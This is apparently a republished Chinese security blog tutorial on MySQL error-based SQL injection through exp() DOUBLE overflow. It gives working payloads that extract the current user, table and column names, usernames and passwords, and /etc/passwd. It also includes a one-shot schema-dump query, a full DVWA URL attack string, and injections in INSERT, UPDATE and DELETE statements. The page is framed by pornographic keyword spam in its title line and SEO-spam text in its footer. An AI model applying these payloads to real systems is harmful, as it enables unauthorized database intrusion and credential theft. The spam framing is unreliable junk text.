成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

使用exp進行SQL報錯注入

安全 數據安全
好消息好消息~作者又在MySQL中發現了一個Double型數據溢出。

0x01 前言概述

好消息好消息~作者又在MySQL中發現了一個Double型數據溢出。如果你想了解利用溢出來注出數據,你可以讀一下作者之前發的博文:BIGINT Overflow Error based injections,drops上面也有對應翻譯,具體見這里。當我們拿到MySQL里的函數時,作者比較感興趣的是其中的數學函數,它們也應該包含一些數據類型來保存數值。所以作者就跑去測試看哪些函數會出現溢出錯誤。然后作者發現,當傳遞一個大于709的值時,函數exp()就會引起一個溢出錯誤。

使用exp進行SQL報錯注入

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都返回以e為底數的對數,見等式:

 

 

enter image description here

 

 

 

enter image description here

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

 

指數函數為對數函數的反函數,exp()即為以e為底的對數函數,如等式:

 

enter image description here

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

 

0x02 注入

當涉及到注入時,我們使用否定查詢來造成“DOUBLE value is out of range”的錯誤。作者之前的博文提到的,將0按位取反就會返回“18446744073709551615”,再加上函數成功執行后返回0的緣故,我們將成功執行的函數取反就會得到***的無符號BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個DOUBLE overflow error,并借由此注出數據。

  1. >`exp(~(select*from(select user())x))`  
  2.  
  3.     mysql> select exp(~(select*from(select user())x));  
  4.     ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x03 注出數據

得到表名:

 

  1. select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

 

得到列名:

 

  1. select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 

 

檢索數據:

 

  1. select exp(~ (select*from(select concat_ws(':',id, username, passwordfrom users limit 0,1)x)); 

 

0x04 一蹴而就

這個查詢可以從當前的上下文中dump出所有的tables與columns。我們也可以dump出所有的數據庫,但由于我們是通過一個錯誤進行提取,它會返回很少的結果。

  1. exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))  
  2.  
  3. http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit# 

 

enter image description here

 

0x05 讀取文件

你可以通過load_file()函數來讀取文件,但作者發現有13行的限制,該語句也可以在BIGINT overflow injections中使用。

  1. select exp(~(select*from(select load_file('/etc/passwd'))a));  
  2.  

 

enter image description here

 

注意,你無法寫文件,因為這個錯入寫入的只是0。

  1. mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'      
  3.  
  4. # type C:\out.txt  

0x06 Injection in Insert

按部就班就好

  1. mysql> insert into users (id, username, passwordvalues (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

對于所有的insert,update和delete語句DIOS查詢也同樣可以使用。

  1. mysql> insert into users (id, username, passwordvalues (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  
  3. newdb::users::id  
  4. newdb::users::username  
  5. newdb::users::password' from dual)))' 

0x07 Injection in Update

  1. mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x08 Injection in Delete

  1. mysql> delete from users where id='1' | exp(~(select*from(select user())x));  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

和前面的BIGINT注入一樣,exp注入也適用于MySQL5.5.5及以上版本。以前的版本對于此情況則是“一言不發”。

  1. mysql> select version();  
  2. +---------------------+  
  3. | version()           |  
  4. +---------------------+  
  5. | 5.0.45-community-nt |  
  6. +---------------------+  
  7. 1 row in set (0.00 sec)   
  8.  
  9.  
  10. mysql> select exp(710);  
  11. +----------+  
  12. | exp(710) |  
  13. +----------+  
  14. |   1.#INF |  
  15. +----------+  
  16. 1 row in set (0.00 sec)   
  17.  
  18.  
  19. mysql> select exp(~0);  
  20. +---------+  
  21. | exp(~0) |  
  22. +---------+  
  23. |  1.#INF |  
  24. +---------+  
  25. 1 row in set (0.00 sec) 

可能還有其他的函數會產生這種報錯呦。(有待你發現啦:)

責任編輯:藍雨淚 來源: 烏云知識庫
相關推薦

2010-12-14 11:30:11

2010-03-29 16:16:59

Oracle exp備

2010-12-20 16:04:30

2009-03-10 08:05:19

2013-11-07 09:31:22

2024-05-06 13:34:28

WireGoogleGo

2017-08-10 10:23:59

2021-05-09 22:48:40

SQL數據庫變量

2024-08-19 08:16:57

@Resource@AutowiredSpring

2010-04-13 14:35:17

2019-07-05 08:12:36

SQLMAPsql注入

2009-09-27 09:39:19

2021-08-09 15:00:36

SQL數據庫

2023-07-13 11:24:14

SQL優化賦值

2013-05-02 15:09:22

2020-10-26 07:04:29

SQL注入mysql

2010-09-17 13:40:43

SQL更新

2023-10-18 18:31:04

SQL查詢數據

2009-04-16 17:44:46

性能優化擴展高性能

2011-10-19 10:47:56

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 精品国产一区二区在线 | 国产1区 | 亚洲一卡二卡 | 精品国产乱码久久久久久牛牛 | 中文字幕在线免费视频 | 亚洲一区二区在线视频 | 国产资源在线视频 | 成人不卡| 亚洲精品乱码久久久久v最新版 | 国产成人精品一区二区三 | 久久精品国产99国产 | 97超碰人人 | 欧美一区二区三区的 | 久久久久久亚洲精品不卡 | 国产9久| pacopacomama在线| 日本色婷婷 | 黄一区二区三区 | 国产精品视频中文字幕 | 91免费高清 | 欧美一区二区三区在线观看视频 | 伊人激情综合网 | 国产精品国产馆在线真实露脸 | 华人黄网站大全 | 九九热精品在线视频 | 久久99视频| 三极网站 | 久久精品国产免费高清 | 精品欧美一区二区在线观看视频 | 久久人人网 | 欧美激情久久久 | 日韩在线精品 | 国产成人艳妇aa视频在线 | 国产黄色在线 | 国产精品视频网站 | 成人h免费观看视频 | 日韩av电影在线观看 | 久久亚洲国产精品日日av夜夜 | 日韩精品视频在线播放 | 国产精品99久久久久久宅男 | 亚洲精品一区二区三区蜜桃久 |